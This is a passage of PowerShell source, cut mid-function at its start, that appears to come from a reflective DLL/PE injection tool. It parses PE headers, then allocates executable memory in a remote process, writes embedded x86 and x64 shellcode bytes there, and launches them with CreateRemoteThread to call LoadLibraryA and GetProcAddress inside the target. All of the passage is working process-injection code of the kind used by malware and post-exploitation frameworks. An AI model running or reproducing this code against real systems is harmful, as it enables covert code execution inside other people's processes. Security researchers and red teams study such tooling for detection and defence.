null or IntPtr.Zero' } $PEInfo = New-Object System.Object #Get NtHeaders information $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types #Build the PEInfo object $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) if ($PEInfo.PE64Bit -eq $true) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } else { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' } elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' } else { Throw "PE file is not an EXE or DLL" } return $PEInfo } Function Import-DllInRemoteProcess { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $ImportDllPathPtr ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RImportDllPathPtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($DllPathSize -ne $NumBytesWritten) { Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" } $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes [IntPtr]$DllAddress = [IntPtr]::Zero #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. if ($PEInfo.PE64Bit -eq $true) { #Allocate memory for the address returned by LoadLibraryA $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($LoadLibraryARetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" } #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $LoadLibrarySC2 = @(0x48, 0xba) $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if ($Result -eq $false) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } else { [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [Int32]$ExitCode = 0 $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) if (($Result -eq 0) -or ($ExitCode -eq 0)) { Throw "Call to GetExitCodeThread failed" } [IntPtr]$DllAddress = [IntPtr]$ExitCode } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null return $DllAddress } Function Get-RemoteProcAddress { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $RemoteDllHandle, [Parameter(Position=2, Mandatory=$true)] [String] $FunctionName ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) #Write FunctionName to memory (will be used in GetProcAddress) $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RFuncNamePtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($FunctionNameSize -ne $NumBytesWritten) { Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" } #Get address of GetProcAddress $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes #Allocate memory for the address returned by GetProcAddress $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($GetProcAddressRetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" } #Write Shellcode to the remote process which will call GetProcAddress #Shellcode: GetProcAddress.asm #todo: need to have detection for when to get by ordinal [Byte[]]$GetProcAddressSC = @() if ($PEInfo.PE64Bit -eq $true) { $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $GetProcAddressSC2 = @(0x48, 0xba) $GetProcAddressSC3 = @(0x48, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) $GetProcAddressSC2 = @(0xb9) $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null return $ProcAddress }